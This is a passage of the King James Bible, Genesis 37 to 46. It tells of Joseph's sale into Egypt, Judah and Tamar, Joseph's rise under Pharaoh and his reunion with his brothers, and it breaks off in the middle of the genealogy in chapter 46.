Ishmeelites, and let not our hand be upon him; for he is our +brother and our flesh. And his brethren were content. + +37:28 Then there passed by Midianites merchantmen; and they drew and +lifted up Joseph out of the pit, and sold Joseph to the Ishmeelites +for twenty pieces of silver: and they brought Joseph into Egypt. + +37:29 And Reuben returned unto the pit; and, behold, Joseph was not in +the pit; and he rent his clothes. + +37:30 And he returned unto his brethren, and said, The child is not; +and I, whither shall I go? 37:31 And they took Joseph's coat, and +killed a kid of the goats, and dipped the coat in the blood; 37:32 And +they sent the coat of many colours, and they brought it to their +father; and said, This have we found: know now whether it be thy son's +coat or no. + +37:33 And he knew it, and said, It is my son's coat; an evil beast +hath devoured him; Joseph is without doubt rent in pieces. + +37:34 And Jacob rent his clothes, and put sackcloth upon his loins, +and mourned for his son many days. + +37:35 And all his sons and all his daughters rose up to comfort him; +but he refused to be comforted; and he said, For I will go down into +the grave unto my son mourning. Thus his father wept for him. + +37:36 And the Midianites sold him into Egypt unto Potiphar, an officer +of Pharaoh's, and captain of the guard. + +38:1 And it came to pass at that time, that Judah went down from his +brethren, and turned in to a certain Adullamite, whose name was Hirah. + +38:2 And Judah saw there a daughter of a certain Canaanite, whose name +was Shuah; and he took her, and went in unto her. + +38:3 And she conceived, and bare a son; and he called his name Er. + +38:4 And she conceived again, and bare a son; and she called his name +Onan. + +38:5 And she yet again conceived, and bare a son; and called his name +Shelah: and he was at Chezib, when she bare him. + +38:6 And Judah took a wife for Er his firstborn, whose name was Tamar. + +38:7 And Er, Judah's firstborn, was wicked in the sight of the LORD; +and the LORD slew him. + +38:8 And Judah said unto Onan, Go in unto thy brother's wife, and +marry her, and raise up seed to thy brother. + +38:9 And Onan knew that the seed should not be his; and it came to +pass, when he went in unto his brother's wife, that he spilled it on +the ground, lest that he should give seed to his brother. + +38:10 And the thing which he did displeased the LORD: wherefore he +slew him also. + +38:11 Then said Judah to Tamar his daughter in law, Remain a widow at +thy father's house, till Shelah my son be grown: for he said, Lest +peradventure he die also, as his brethren did. And Tamar went and +dwelt in her father's house. + +38:12 And in process of time the daughter of Shuah Judah's wife died; +and Judah was comforted, and went up unto his sheepshearers to +Timnath, he and his friend Hirah the Adullamite. + +38:13 And it was told Tamar, saying, Behold thy father in law goeth up +to Timnath to shear his sheep. + +38:14 And she put her widow's garments off from her, and covered her +with a vail, and wrapped herself, and sat in an open place, which is +by the way to Timnath; for she saw that Shelah was grown, and she was +not given unto him to wife. + +38:15 When Judah saw her, he thought her to be an harlot; because she +had covered her face. + +38:16 And he turned unto her by the way, and said, Go to, I pray thee, +let me come in unto thee; (for he knew not that she was his daughter +in law.) And she said, What wilt thou give me, that thou mayest come +in unto me? 38:17 And he said, I will send thee a kid from the flock. +And she said, Wilt thou give me a pledge, till thou send it? 38:18 +And he said, What pledge shall I give thee? And she said, Thy signet, +and thy bracelets, and thy staff that is in thine hand. And he gave it +her, and came in unto her, and she conceived by him. + +38:19 And she arose, and went away, and laid by her vail from her, and +put on the garments of her widowhood. + +38:20 And Judah sent the kid by the hand of his friend the Adullamite, +to receive his pledge from the woman's hand: but he found her not. + +38:21 Then he asked the men of that place, saying, Where is the +harlot, that was openly by the way side? And they said, There was no +harlot in this place. + +38:22 And he returned to Judah, and said, I cannot find her; and also +the men of the place said, that there was no harlot in this place. + +38:23 And Judah said, Let her take it to her, lest we be shamed: +behold, I sent this kid, and thou hast not found her. + +38:24 And it came to pass about three months after, that it was told +Judah, saying, Tamar thy daughter in law hath played the harlot; and +also, behold, she is with child by whoredom. And Judah said, Bring her +forth, and let her be burnt. + +38:25 When she was brought forth, she sent to her father in law, +saying, By the man, whose these are, am I with child: and she said, +Discern, I pray thee, whose are these, the signet, and bracelets, and +staff. + +38:26 And Judah acknowledged them, and said, She hath been more +righteous than I; because that I gave her not to Shelah my son. And he +knew her again no more. + +38:27 And it came to pass in the time of her travail, that, behold, +twins were in her womb. + +38:28 And it came to pass, when she travailed, that the one put out +his hand: and the midwife took and bound upon his hand a scarlet +thread, saying, This came out first. + +38:29 And it came to pass, as he drew back his hand, that, behold, his +brother came out: and she said, How hast thou broken forth? this +breach be upon thee: therefore his name was called Pharez. + +38:30 And afterward came out his brother, that had the scarlet thread +upon his hand: and his name was called Zarah. + +39:1 And Joseph was brought down to Egypt; and Potiphar, an officer of +Pharaoh, captain of the guard, an Egyptian, bought him of the hands of +the Ishmeelites, which had brought him down thither. + +39:2 And the LORD was with Joseph, and he was a prosperous man; and he +was in the house of his master the Egyptian. + +39:3 And his master saw that the LORD was with him, and that the LORD +made all that he did to prosper in his hand. + +39:4 And Joseph found grace in his sight, and he served him: and he +made him overseer over his house, and all that he had he put into his +hand. + +39:5 And it came to pass from the time that he had made him overseer +in his house, and over all that he had, that the LORD blessed the +Egyptian's house for Joseph's sake; and the blessing of the LORD was +upon all that he had in the house, and in the field. + +39:6 And he left all that he had in Joseph's hand; and he knew not +ought he had, save the bread which he did eat. And Joseph was a goodly +person, and well favoured. + +39:7 And it came to pass after these things, that his master's wife +cast her eyes upon Joseph; and she said, Lie with me. + +39:8 But he refused, and said unto his master's wife, Behold, my +master wotteth not what is with me in the house, and he hath committed +all that he hath to my hand; 39:9 There is none greater in this house +than I; neither hath he kept back any thing from me but thee, because +thou art his wife: how then can I do this great wickedness, and sin +against God? 39:10 And it came to pass, as she spake to Joseph day by +day, that he hearkened not unto her, to lie by her, or to be with her. + +39:11 And it came to pass about this time, that Joseph went into the +house to do his business; and there was none of the men of the house +there within. + +39:12 And she caught him by his garment, saying, Lie with me: and he +left his garment in her hand, and fled, and got him out. + +39:13 And it came to pass, when she saw that he had left his garment +in her hand, and was fled forth, 39:14 That she called unto the men of +her house, and spake unto them, saying, See, he hath brought in an +Hebrew unto us to mock us; he came in unto me to lie with me, and I +cried with a loud voice: 39:15 And it came to pass, when he heard that +I lifted up my voice and cried, that he left his garment with me, and +fled, and got him out. + +39:16 And she laid up his garment by her, until his lord came home. + +39:17 And she spake unto him according to these words, saying, The +Hebrew servant, which thou hast brought unto us, came in unto me to +mock me: 39:18 And it came to pass, as I lifted up my voice and cried, +that he left his garment with me, and fled out. + +39:19 And it came to pass, when his master heard the words of his +wife, which she spake unto him, saying, After this manner did thy +servant to me; that his wrath was kindled. + +39:20 And Joseph's master took him, and put him into the prison, a +place where the king's prisoners were bound: and he was there in the +prison. + +39:21 But the LORD was with Joseph, and shewed him mercy, and gave him +favour in the sight of the keeper of the prison. + +39:22 And the keeper of the prison committed to Joseph's hand all the +prisoners that were in the prison; and whatsoever they did there, he +was the doer of it. + +39:23 The keeper of the prison looked not to any thing that was under +his hand; because the LORD was with him, and that which he did, the +LORD made it to prosper. + +40:1 And it came to pass after these things, that the butler of the +king of Egypt and his baker had offended their lord the king of Egypt. + +40:2 And Pharaoh was wroth against two of his officers, against the +chief of the butlers, and against the chief of the bakers. + +40:3 And he put them in ward in the house of the captain of the guard, +into the prison, the place where Joseph was bound. + +40:4 And the captain of the guard charged Joseph with them, and he +served them: and they continued a season in ward. + +40:5 And they dreamed a dream both of them, each man his dream in one +night, each man according to the interpretation of his dream, the +butler and the baker of the king of Egypt, which were bound in the +prison. + +40:6 And Joseph came in unto them in the morning, and looked upon +them, and, behold, they were sad. + +40:7 And he asked Pharaoh's officers that were with him in the ward of +his lord's house, saying, Wherefore look ye so sadly to day? 40:8 And +they said unto him, We have dreamed a dream, and there is no +interpreter of it. And Joseph said unto them, Do not interpretations +belong to God? tell me them, I pray you. + +40:9 And the chief butler told his dream to Joseph, and said to him, +In my dream, behold, a vine was before me; 40:10 And in the vine were +three branches: and it was as though it budded, and her blossoms shot +forth; and the clusters thereof brought forth ripe grapes: 40:11 And +Pharaoh's cup was in my hand: and I took the grapes, and pressed them +into Pharaoh's cup, and I gave the cup into Pharaoh's hand. + +40:12 And Joseph said unto him, This is the interpretation of it: The +three branches are three days: 40:13 Yet within three days shall +Pharaoh lift up thine head, and restore thee unto thy place: and thou +shalt deliver Pharaoh's cup into his hand, after the former manner +when thou wast his butler. + +40:14 But think on me when it shall be well with thee, and shew +kindness, I pray thee, unto me, and make mention of me unto Pharaoh, +and bring me out of this house: 40:15 For indeed I was stolen away out +of the land of the Hebrews: and here also have I done nothing that +they should put me into the dungeon. + +40:16 When the chief baker saw that the interpretation was good, he +said unto Joseph, I also was in my dream, and, behold, I had three +white baskets on my head: 40:17 And in the uppermost basket there was +of all manner of bakemeats for Pharaoh; and the birds did eat them out +of the basket upon my head. + +40:18 And Joseph answered and said, This is the interpretation +thereof: The three baskets are three days: 40:19 Yet within three days +shall Pharaoh lift up thy head from off thee, and shall hang thee on a +tree; and the birds shall eat thy flesh from off thee. + +40:20 And it came to pass the third day, which was Pharaoh's birthday, +that he made a feast unto all his servants: and he lifted up the head +of the chief butler and of the chief baker among his servants. + +40:21 And he restored the chief butler unto his butlership again; and +he gave the cup into Pharaoh's hand: 40:22 But he hanged the chief +baker: as Joseph had interpreted to them. + +40:23 Yet did not the chief butler remember Joseph, but forgat him. + +41:1 And it came to pass at the end of two full years, that Pharaoh +dreamed: and, behold, he stood by the river. + +41:2 And, behold, there came up out of the river seven well favoured +kine and fatfleshed; and they fed in a meadow. + +41:3 And, behold, seven other kine came up after them out of the +river, ill favoured and leanfleshed; and stood by the other kine upon +the brink of the river. + +41:4 And the ill favoured and leanfleshed kine did eat up the seven +well favoured and fat kine. So Pharaoh awoke. + +41:5 And he slept and dreamed the second time: and, behold, seven ears +of corn came up upon one stalk, rank and good. + +41:6 And, behold, seven thin ears and blasted with the east wind +sprung up after them. + +41:7 And the seven thin ears devoured the seven rank and full ears. +And Pharaoh awoke, and, behold, it was a dream. + +41:8 And it came to pass in the morning that his spirit was troubled; +and he sent and called for all the magicians of Egypt, and all the +wise men thereof: and Pharaoh told them his dream; but there was none +that could interpret them unto Pharaoh. + +41:9 Then spake the chief butler unto Pharaoh, saying, I do remember +my faults this day: 41:10 Pharaoh was wroth with his servants, and put +me in ward in the captain of the guard's house, both me and the chief +baker: 41:11 And we dreamed a dream in one night, I and he; we dreamed +each man according to the interpretation of his dream. + +41:12 And there was there with us a young man, an Hebrew, servant to +the captain of the guard; and we told him, and he interpreted to us +our dreams; to each man according to his dream he did interpret. + +41:13 And it came to pass, as he interpreted to us, so it was; me he +restored unto mine office, and him he hanged. + +41:14 Then Pharaoh sent and called Joseph, and they brought him +hastily out of the dungeon: and he shaved himself, and changed his +raiment, and came in unto Pharaoh. + +41:15 And Pharaoh said unto Joseph, I have dreamed a dream, and there +is none that can interpret it: and I have heard say of thee, that thou +canst understand a dream to interpret it. + +41:16 And Joseph answered Pharaoh, saying, It is not in me: God shall +give Pharaoh an answer of peace. + +41:17 And Pharaoh said unto Joseph, In my dream, behold, I stood upon +the bank of the river: 41:18 And, behold, there came up out of the +river seven kine, fatfleshed and well favoured; and they fed in a +meadow: 41:19 And, behold, seven other kine came up after them, poor +and very ill favoured and leanfleshed, such as I never saw in all the +land of Egypt for badness: 41:20 And the lean and the ill favoured +kine did eat up the first seven fat kine: 41:21 And when they had +eaten them up, it could not be known that they had eaten them; but +they were still ill favoured, as at the beginning. So I awoke. + +41:22 And I saw in my dream, and, behold, seven ears came up in one +stalk, full and good: 41:23 And, behold, seven ears, withered, thin, +and blasted with the east wind, sprung up after them: 41:24 And the +thin ears devoured the seven good ears: and I told this unto the +magicians; but there was none that could declare it to me. + +41:25 And Joseph said unto Pharaoh, The dream of Pharaoh is one: God +hath shewed Pharaoh what he is about to do. + +41:26 The seven good kine are seven years; and the seven good ears are +seven years: the dream is one. + +41:27 And the seven thin and ill favoured kine that came up after them +are seven years; and the seven empty ears blasted with the east wind +shall be seven years of famine. + +41:28 This is the thing which I have spoken unto Pharaoh: What God is +about to do he sheweth unto Pharaoh. + +41:29 Behold, there come seven years of great plenty throughout all +the land of Egypt: 41:30 And there shall arise after them seven years +of famine; and all the plenty shall be forgotten in the land of Egypt; +and the famine shall consume the land; 41:31 And the plenty shall not +be known in the land by reason of that famine following; for it shall +be very grievous. + +41:32 And for that the dream was doubled unto Pharaoh twice; it is +because the thing is established by God, and God will shortly bring it +to pass. + +41:33 Now therefore let Pharaoh look out a man discreet and wise, and +set him over the land of Egypt. + +41:34 Let Pharaoh do this, and let him appoint officers over the land, +and take up the fifth part of the land of Egypt in the seven plenteous +years. + +41:35 And let them gather all the food of those good years that come, +and lay up corn under the hand of Pharaoh, and let them keep food in +the cities. + +41:36 And that food shall be for store to the land against the seven +years of famine, which shall be in the land of Egypt; that the land +perish not through the famine. + +41:37 And the thing was good in the eyes of Pharaoh, and in the eyes +of all his servants. + +41:38 And Pharaoh said unto his servants, Can we find such a one as +this is, a man in whom the Spirit of God is? 41:39 And Pharaoh said +unto Joseph, Forasmuch as God hath shewed thee all this, there is none +so discreet and wise as thou art: 41:40 Thou shalt be over my house, +and according unto thy word shall all my people be ruled: only in the +throne will I be greater than thou. + +41:41 And Pharaoh said unto Joseph, See, I have set thee over all the +land of Egypt. + +41:42 And Pharaoh took off his ring from his hand, and put it upon +Joseph's hand, and arrayed him in vestures of fine linen, and put a +gold chain about his neck; 41:43 And he made him to ride in the second +chariot which he had; and they cried before him, Bow the knee: and he +made him ruler over all the land of Egypt. + +41:44 And Pharaoh said unto Joseph, I am Pharaoh, and without thee +shall no man lift up his hand or foot in all the land of Egypt. + +41:45 And Pharaoh called Joseph's name Zaphnathpaaneah; and he gave +him to wife Asenath the daughter of Potipherah priest of On. And +Joseph went out over all the land of Egypt. + +41:46 And Joseph was thirty years old when he stood before Pharaoh +king of Egypt. And Joseph went out from the presence of Pharaoh, and +went throughout all the land of Egypt. + +41:47 And in the seven plenteous years the earth brought forth by +handfuls. + +41:48 And he gathered up all the food of the seven years, which were +in the land of Egypt, and laid up the food in the cities: the food of +the field, which was round about every city, laid he up in the same. + +41:49 And Joseph gathered corn as the sand of the sea, very much, +until he left numbering; for it was without number. + +41:50 And unto Joseph were born two sons before the years of famine +came, which Asenath the daughter of Potipherah priest of On bare unto +him. + +41:51 And Joseph called the name of the firstborn Manasseh: For God, +said he, hath made me forget all my toil, and all my father's house. + +41:52 And the name of the second called he Ephraim: For God hath +caused me to be fruitful in the land of my affliction. + +41:53 And the seven years of plenteousness, that was in the land of +Egypt, were ended. + +41:54 And the seven years of dearth began to come, according as Joseph +had said: and the dearth was in all lands; but in all the land of +Egypt there was bread. + +41:55 And when all the land of Egypt was famished, the people cried to +Pharaoh for bread: and Pharaoh said unto all the Egyptians, Go unto +Joseph; what he saith to you, do. + +41:56 And the famine was over all the face of the earth: and Joseph +opened all the storehouses, and sold unto the Egyptians; and the +famine waxed sore in the land of Egypt. + +41:57 And all countries came into Egypt to Joseph for to buy corn; +because that the famine was so sore in all lands. + +42:1 Now when Jacob saw that there was corn in Egypt, Jacob said unto +his sons, Why do ye look one upon another? 42:2 And he said, Behold, +I have heard that there is corn in Egypt: get you down thither, and +buy for us from thence; that we may live, and not die. + +42:3 And Joseph's ten brethren went down to buy corn in Egypt. + +42:4 But Benjamin, Joseph's brother, Jacob sent not with his brethren; +for he said, Lest peradventure mischief befall him. + +42:5 And the sons of Israel came to buy corn among those that came: +for the famine was in the land of Canaan. + +42:6 And Joseph was the governor over the land, and he it was that +sold to all the people of the land: and Joseph's brethren came, and +bowed down themselves before him with their faces to the earth. + +42:7 And Joseph saw his brethren, and he knew them, but made himself +strange unto them, and spake roughly unto them; and he said unto them, +Whence come ye? And they said, From the land of Canaan to buy food. + +42:8 And Joseph knew his brethren, but they knew not him. + +42:9 And Joseph remembered the dreams which he dreamed of them, and +said unto them, Ye are spies; to see the nakedness of the land ye are +come. + +42:10 And they said unto him, Nay, my lord, but to buy food are thy +servants come. + +42:11 We are all one man's sons; we are true men, thy servants are no +spies. + +42:12 And he said unto them, Nay, but to see the nakedness of the land +ye are come. + +42:13 And they said, Thy servants are twelve brethren, the sons of one +man in the land of Canaan; and, behold, the youngest is this day with +our father, and one is not. + +42:14 And Joseph said unto them, That is it that I spake unto you, +saying, Ye are spies: 42:15 Hereby ye shall be proved: By the life of +Pharaoh ye shall not go forth hence, except your youngest brother come +hither. + +42:16 Send one of you, and let him fetch your brother, and ye shall be +kept in prison, that your words may be proved, whether there be any +truth in you: or else by the life of Pharaoh surely ye are spies. + +42:17 And he put them all together into ward three days. + +42:18 And Joseph said unto them the third day, This do, and live; for +I fear God: 42:19 If ye be true men, let one of your brethren be bound +in the house of your prison: go ye, carry corn for the famine of your +houses: 42:20 But bring your youngest brother unto me; so shall your +words be verified, and ye shall not die. And they did so. + +42:21 And they said one to another, We are verily guilty concerning +our brother, in that we saw the anguish of his soul, when he besought +us, and we would not hear; therefore is this distress come upon us. + +42:22 And Reuben answered them, saying, Spake I not unto you, saying, +Do not sin against the child; and ye would not hear? therefore, +behold, also his blood is required. + +42:23 And they knew not that Joseph understood them; for he spake unto +them by an interpreter. + +42:24 And he turned himself about from them, and wept; and returned to +them again, and communed with them, and took from them Simeon, and +bound him before their eyes. + +42:25 Then Joseph commanded to fill their sacks with corn, and to +restore every man's money into his sack, and to give them provision +for the way: and thus did he unto them. + +42:26 And they laded their asses with the corn, and departed thence. + +42:27 And as one of them opened his sack to give his ass provender in +the inn, he espied his money; for, behold, it was in his sack's mouth. + +42:28 And he said unto his brethren, My money is restored; and, lo, it +is even in my sack: and their heart failed them, and they were afraid, +saying one to another, What is this that God hath done unto us? 42:29 +And they came unto Jacob their father unto the land of Canaan, and +told him all that befell unto them; saying, 42:30 The man, who is the +lord of the land, spake roughly to us, and took us for spies of the +country. + +42:31 And we said unto him, We are true men; we are no spies: 42:32 We +be twelve brethren, sons of our father; one is not, and the youngest +is this day with our father in the land of Canaan. + +42:33 And the man, the lord of the country, said unto us, Hereby shall +I know that ye are true men; leave one of your brethren here with me, +and take food for the famine of your households, and be gone: 42:34 +And bring your youngest brother unto me: then shall I know that ye are +no spies, but that ye are true men: so will I deliver you your +brother, and ye shall traffick in the land. + +42:35 And it came to pass as they emptied their sacks, that, behold, +every man's bundle of money was in his sack: and when both they and +their father saw the bundles of money, they were afraid. + +42:36 And Jacob their father said unto them, Me have ye bereaved of my +children: Joseph is not, and Simeon is not, and ye will take Benjamin +away: all these things are against me. + +42:37 And Reuben spake unto his father, saying, Slay my two sons, if I +bring him not to thee: deliver him into my hand, and I will bring him +to thee again. + +42:38 And he said, My son shall not go down with you; for his brother +is dead, and he is left alone: if mischief befall him by the way in +the which ye go, then shall ye bring down my gray hairs with sorrow to +the grave. + +43:1 And the famine was sore in the land. + +43:2 And it came to pass, when they had eaten up the corn which they +had brought out of Egypt, their father said unto them, Go again, buy +us a little food. + +43:3 And Judah spake unto him, saying, The man did solemnly protest +unto us, saying, Ye shall not see my face, except your brother be with +you. + +43:4 If thou wilt send our brother with us, we will go down and buy +thee food: 43:5 But if thou wilt not send him, we will not go down: +for the man said unto us, Ye shall not see my face, except your +brother be with you. + +43:6 And Israel said, Wherefore dealt ye so ill with me, as to tell +the man whether ye had yet a brother? 43:7 And they said, The man +asked us straitly of our state, and of our kindred, saying, Is your +father yet alive? have ye another brother? and we told him according +to the tenor of these words: could we certainly know that he would +say, Bring your brother down? 43:8 And Judah said unto Israel his +father, Send the lad with me, and we will arise and go; that we may +live, and not die, both we, and thou, and also our little ones. + +43:9 I will be surety for him; of my hand shalt thou require him: if I +bring him not unto thee, and set him before thee, then let me bear the +blame for ever: 43:10 For except we had lingered, surely now we had +returned this second time. + +43:11 And their father Israel said unto them, If it must be so now, do +this; take of the best fruits in the land in your vessels, and carry +down the man a present, a little balm, and a little honey, spices, and +myrrh, nuts, and almonds: 43:12 And take double money in your hand; +and the money that was brought again in the mouth of your sacks, carry +it again in your hand; peradventure it was an oversight: 43:13 Take +also your brother, and arise, go again unto the man: 43:14 And God +Almighty give you mercy before the man, that he may send away your +other brother, and Benjamin. If I be bereaved of my children, I am +bereaved. + +43:15 And the men took that present, and they took double money in +their hand and Benjamin; and rose up, and went down to Egypt, and +stood before Joseph. + +43:16 And when Joseph saw Benjamin with them, he said to the ruler of +his house, Bring these men home, and slay, and make ready; for these +men shall dine with me at noon. + +43:17 And the man did as Joseph bade; and the man brought the men into +Joseph's house. + +43:18 And the men were afraid, because they were brought into Joseph's +house; and they said, Because of the money that was returned in our +sacks at the first time are we brought in; that he may seek occasion +against us, and fall upon us, and take us for bondmen, and our asses. + +43:19 And they came near to the steward of Joseph's house, and they +communed with him at the door of the house, 43:20 And said, O sir, we +came indeed down at the first time to buy food: 43:21 And it came to +pass, when we came to the inn, that we opened our sacks, and, behold, +every man's money was in the mouth of his sack, our money in full +weight: and we have brought it again in our hand. + +43:22 And other money have we brought down in our hands to buy food: +we cannot tell who put our money in our sacks. + +43:23 And he said, Peace be to you, fear not: your God, and the God of +your father, hath given you treasure in your sacks: I had your money. +And he brought Simeon out unto them. + +43:24 And the man brought the men into Joseph's house, and gave them +water, and they washed their feet; and he gave their asses provender. + +43:25 And they made ready the present against Joseph came at noon: for +they heard that they should eat bread there. + +43:26 And when Joseph came home, they brought him the present which +was in their hand into the house, and bowed themselves to him to the +earth. + +43:27 And he asked them of their welfare, and said, Is your father +well, the old man of whom ye spake? Is he yet alive? 43:28 And they +answered, Thy servant our father is in good health, he is yet alive. +And they bowed down their heads, and made obeisance. + +43:29 And he lifted up his eyes, and saw his brother Benjamin, his +mother's son, and said, Is this your younger brother, of whom ye spake +unto me? And he said, God be gracious unto thee, my son. + +43:30 And Joseph made haste; for his bowels did yearn upon his +brother: and he sought where to weep; and he entered into his chamber, +and wept there. + +43:31 And he washed his face, and went out, and refrained himself, and +said, Set on bread. + +43:32 And they set on for him by himself, and for them by themselves, +and for the Egyptians, which did eat with him, by themselves: because +the Egyptians might not eat bread with the Hebrews; for that is an +abomination unto the Egyptians. + +43:33 And they sat before him, the firstborn according to his +birthright, and the youngest according to his youth: and the men +marvelled one at another. + +43:34 And he took and sent messes unto them from before him: but +Benjamin's mess was five times so much as any of their's. And they +drank, and were merry with him. + +44:1 And he commanded the steward of his house, saying, Fill the men's +sacks with food, as much as they can carry, and put every man's money +in his sack's mouth. + +44:2 And put my cup, the silver cup, in the sack's mouth of the +youngest, and his corn money. And he did according to the word that +Joseph had spoken. + +44:3 As soon as the morning was light, the men were sent away, they +and their asses. + +44:4 And when they were gone out of the city, and not yet far off, +Joseph said unto his steward, Up, follow after the men; and when thou +dost overtake them, say unto them, Wherefore have ye rewarded evil for +good? 44:5 Is not this it in which my lord drinketh, and whereby +indeed he divineth? ye have done evil in so doing. + +44:6 And he overtook them, and he spake unto them these same words. + +44:7 And they said unto him, Wherefore saith my lord these words? God +forbid that thy servants should do according to this thing: 44:8 +Behold, the money, which we found in our sacks' mouths, we brought +again unto thee out of the land of Canaan: how then should we steal +out of thy lord's house silver or gold? 44:9 With whomsoever of thy +servants it be found, both let him die, and we also will be my lord's +bondmen. + +44:10 And he said, Now also let it be according unto your words: he +with whom it is found shall be my servant; and ye shall be blameless. + +44:11 Then they speedily took down every man his sack to the ground, +and opened every man his sack. + +44:12 And he searched, and began at the eldest, and left at the +youngest: and the cup was found in Benjamin's sack. + +44:13 Then they rent their clothes, and laded every man his ass, and +returned to the city. + +44:14 And Judah and his brethren came to Joseph's house; for he was +yet there: and they fell before him on the ground. + +44:15 And Joseph said unto them, What deed is this that ye have done? +wot ye not that such a man as I can certainly divine? 44:16 And Judah +said, What shall we say unto my lord? what shall we speak? or how +shall we clear ourselves? God hath found out the iniquity of thy +servants: behold, we are my lord's servants, both we, and he also with +whom the cup is found. + +44:17 And he said, God forbid that I should do so: but the man in +whose hand the cup is found, he shall be my servant; and as for you, +get you up in peace unto your father. + +44:18 Then Judah came near unto him, and said, Oh my lord, let thy +servant, I pray thee, speak a word in my lord's ears, and let not +thine anger burn against thy servant: for thou art even as Pharaoh. + +44:19 My lord asked his servants, saying, Have ye a father, or a +brother? 44:20 And we said unto my lord, We have a father, an old +man, and a child of his old age, a little one; and his brother is +dead, and he alone is left of his mother, and his father loveth him. + +44:21 And thou saidst unto thy servants, Bring him down unto me, that +I may set mine eyes upon him. + +44:22 And we said unto my lord, The lad cannot leave his father: for +if he should leave his father, his father would die. + +44:23 And thou saidst unto thy servants, Except your youngest brother +come down with you, ye shall see my face no more. + +44:24 And it came to pass when we came up unto thy servant my father, +we told him the words of my lord. + +44:25 And our father said, Go again, and buy us a little food. + +44:26 And we said, We cannot go down: if our youngest brother be with +us, then will we go down: for we may not see the man's face, except +our youngest brother be with us. + +44:27 And thy servant my father said unto us, Ye know that my wife +bare me two sons: 44:28 And the one went out from me, and I said, +Surely he is torn in pieces; and I saw him not since: 44:29 And if ye +take this also from me, and mischief befall him, ye shall bring down +my gray hairs with sorrow to the grave. + +44:30 Now therefore when I come to thy servant my father, and the lad +be not with us; seeing that his life is bound up in the lad's life; +44:31 It shall come to pass, when he seeth that the lad is not with +us, that he will die: and thy servants shall bring down the gray hairs +of thy servant our father with sorrow to the grave. + +44:32 For thy servant became surety for the lad unto my father, +saying, If I bring him not unto thee, then I shall bear the blame to +my father for ever. + +44:33 Now therefore, I pray thee, let thy servant abide instead of the +lad a bondman to my lord; and let the lad go up with his brethren. + +44:34 For how shall I go up to my father, and the lad be not with me? +lest peradventure I see the evil that shall come on my father. + +45:1 Then Joseph could not refrain himself before all them that stood +by him; and he cried, Cause every man to go out from me. And there +stood no man with him, while Joseph made himself known unto his +brethren. + +45:2 And he wept aloud: and the Egyptians and the house of Pharaoh +heard. + +45:3 And Joseph said unto his brethren, I am Joseph; doth my father +yet live? And his brethren could not answer him; for they were +troubled at his presence. + +45:4 And Joseph said unto his brethren, Come near to me, I pray you. +And they came near. And he said, I am Joseph your brother, whom ye +sold into Egypt. + +45:5 Now therefore be not grieved, nor angry with yourselves, that ye +sold me hither: for God did send me before you to preserve life. + +45:6 For these two years hath the famine been in the land: and yet +there are five years, in the which there shall neither be earing nor +harvest. + +45:7 And God sent me before you to preserve you a posterity in the +earth, and to save your lives by a great deliverance. + +45:8 So now it was not you that sent me hither, but God: and he hath +made me a father to Pharaoh, and lord of all his house, and a ruler +throughout all the land of Egypt. + +45:9 Haste ye, and go up to my father, and say unto him, Thus saith +thy son Joseph, God hath made me lord of all Egypt: come down unto me, +tarry not: 45:10 And thou shalt dwell in the land of Goshen, and thou +shalt be near unto me, thou, and thy children, and thy children's +children, and thy flocks, and thy herds, and all that thou hast: 45:11 +And there will I nourish thee; for yet there are five years of famine; +lest thou, and thy household, and all that thou hast, come to poverty. + +45:12 And, behold, your eyes see, and the eyes of my brother Benjamin, +that it is my mouth that speaketh unto you. + +45:13 And ye shall tell my father of all my glory in Egypt, and of all +that ye have seen; and ye shall haste and bring down my father hither. + +45:14 And he fell upon his brother Benjamin's neck, and wept; and +Benjamin wept upon his neck. + +45:15 Moreover he kissed all his brethren, and wept upon them: and +after that his brethren talked with him. + +45:16 And the fame thereof was heard in Pharaoh's house, saying, +Joseph's brethren are come: and it pleased Pharaoh well, and his +servants. + +45:17 And Pharaoh said unto Joseph, Say unto thy brethren, This do ye; +lade your beasts, and go, get you unto the land of Canaan; 45:18 And +take your father and your households, and come unto me: and I will +give you the good of the land of Egypt, and ye shall eat the fat of +the land. + +45:19 Now thou art commanded, this do ye; take you wagons out of the +land of Egypt for your little ones, and for your wives, and bring your +father, and come. + +45:20 Also regard not your stuff; for the good of all the land of +Egypt is your's. + +45:21 And the children of Israel did so: and Joseph gave them wagons, +according to the commandment of Pharaoh, and gave them provision for +the way. + +45:22 To all of them he gave each man changes of raiment; but to +Benjamin he gave three hundred pieces of silver, and five changes of +raiment. + +45:23 And to his father he sent after this manner; ten asses laden +with the good things of Egypt, and ten she asses laden with corn and +bread and meat for his father by the way. + +45:24 So he sent his brethren away, and they departed: and he said +unto them, See that ye fall not out by the way. + +45:25 And they went up out of Egypt, and came into the land of Canaan +unto Jacob their father, 45:26 And told him, saying, Joseph is yet +alive, and he is governor over all the land of Egypt. And Jacob's +heart fainted, for he believed them not. + +45:27 And they told him all the words of Joseph, which he had said +unto them: and when he saw the wagons which Joseph had sent to carry +him, the spirit of Jacob their father revived: 45:28 And Israel said, +It is enough; Joseph my son is yet alive: I will go and see him before +I die. + +46:1 And Israel took his journey with all that he had, and came to +Beersheba, and offered sacrifices unto the God of his father Isaac. + +46:2 And God spake unto Israel in the visions of the night, and said, +Jacob, Jacob. And he said, Here am I. + +46:3 And he said, I am God, the God of thy father: fear not to go down +into Egypt; for I will there make of thee a great nation: 46:4 I will +go down with thee into Egypt; and I will also surely bring thee up +again: and Joseph shall put his hand upon thine eyes. + +46:5 And Jacob rose up from Beersheba: and the sons of Israel carried +Jacob their father, and their little ones, and their wives, in the +wagons which Pharaoh had sent to carry him. + +46:6 And they took their cattle, and their goods, which they had +gotten in the land of Canaan, and came into Egypt, Jacob, and all his +seed with him: 46:7 His sons, and his sons' sons with him, his +daughters, and his sons' daughters, and all his seed brought he with +him into Egypt. + +46:8 And these are the names of the children of Israel, which came +into Egypt, Jacob and his sons: Reuben, Jacob's firstborn. + +46:9 And the sons of Reuben; Hanoch, and Phallu, and Hezron, and +Carmi. + +46:10 And the sons of Simeon; Jemuel, and Jamin, and Ohad, and Jachin, +and Zohar, and Shaul the son of a Canaanitish woman. + +46:11 And the sons of Levi; Gershon, Kohath, and Merari. + +46:12 And the sons of Judah; Er, and Onan, and Shelah, and Pharez, and +Zarah: but Er and Onan died in the land of Canaan. And the sons of +Pharez were Hezron and Hamul. + +46:13 And the sons of Issachar; Tola, and Phuvah, and Job, and +Shimron. + +46:14 And the sons of Zebulun; Sered, and Elon, and Jahleel. + +46:15 These be the sons of Leah, which she bare unto Jacob in +Padanaram, with his daughter Dinah: all the souls of his sons and his +daughters were thirty and three. + +46:16 And the sons of Gad; Ziphion, and Haggi, Shuni, and 